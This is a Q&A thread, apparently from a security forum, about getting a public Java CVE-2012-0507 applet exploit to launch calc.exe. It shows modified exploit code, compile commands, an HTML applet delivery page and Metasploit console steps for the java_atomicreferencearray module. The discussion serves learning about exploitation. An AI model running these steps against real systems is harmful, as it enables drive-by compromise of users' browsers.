6

I got interested in Java exploits and stumbled upon this:

https://github.com/redcreen/exploits/tree/master/CVE-2012-0507/redcreen

It is source code for Java exploit, so even though my knowledge of Java is limited (learned some in highschool) so I tried to understand what is going on in the background.

File https://github.com/redcreen/exploits/blob/master/CVE-2012-0507/redcreen/Exploit.java has this code:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        File file = new File("d:/temp/1.php");
        String cmd = "php " + file.getAbsolutePath();
        System.out.println(Help.doWork(_tmp, cmd));
    }

which I presume is the code to be executed with this exploit, so I modified it to:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        String cmd = "cmd /c start calc.exe";
        System.out.println(Help.doWork(_tmp, cmd));
    }

To start calc.exe on successful explotation , and compiled it with:

javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class

and placed it in applet:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
  </body>
</html>

But no luck with calc.exe execution on vulnerable Java machine. Metasploit execution does work. Any guidance or suggestion is welcome.

8
  • you are using an old version of java as well ?
    – king
    Mar 24, 2016 at 15:29
  • @king Yes I'am , as i explained setup works with metasploit payloads, but when I run this exploit it doesn't run calc.exe . I'm not brave enough to try and change metasploit exploit code.
    – Daniel
    Mar 28, 2016 at 11:28
  • @khaomax What's inside 1.php?
    – ferit
    Mar 28, 2016 at 12:20
  • 1
    Also, Exploit is not an applet. You need to create a mini applet that calls Exploit. Check the Java console when you start your applet - I expect you'll see errors that show it isn't starting.
    – paj28
    Mar 28, 2016 at 12:54
  • 1
    You need first to sign your applet. to diagnostic the problem take a look at the Java Console for debugging tthe applet. you could also add some debugging lines into your code. Apr 1, 2016 at 21:25

3 Answers 3

1

My java probably isn't any better than yours, but as I understand the vulnerability, it relies on breaking out of the sandbox to execute code.

I believe that when you replaced the php code with your simple command, you broke the part of the process to get outside the sandbox.

Here is a fairly detailed examination of your problem: https://media.blackhat.com/bh-us-12/Briefings/Oh/BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_WP.pdf

Head to page 7 for a detailed explanation of how the exploit works, and the author steps through the code and its execution.

0

As @paj28 commented, Exploit is not an applet. Instead of running as an applet, simply run (since you compiled it already):

cd bin
java Exploit
1
  • 1
    It's not an exploit if you already have access to run arbitrary commands.
    – OrangeDog
    Jul 31, 2016 at 8:47
0

Why not just load the java_atomicreferencearray exploit using the metasploit-framework?

msfconsole
use .*java_atomicreferencearray <tab>
info
show missing
set <stuff>
options
check
exploit -j

Then just point your vulnerable JRE-enabled browser at the listener URL it provides.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .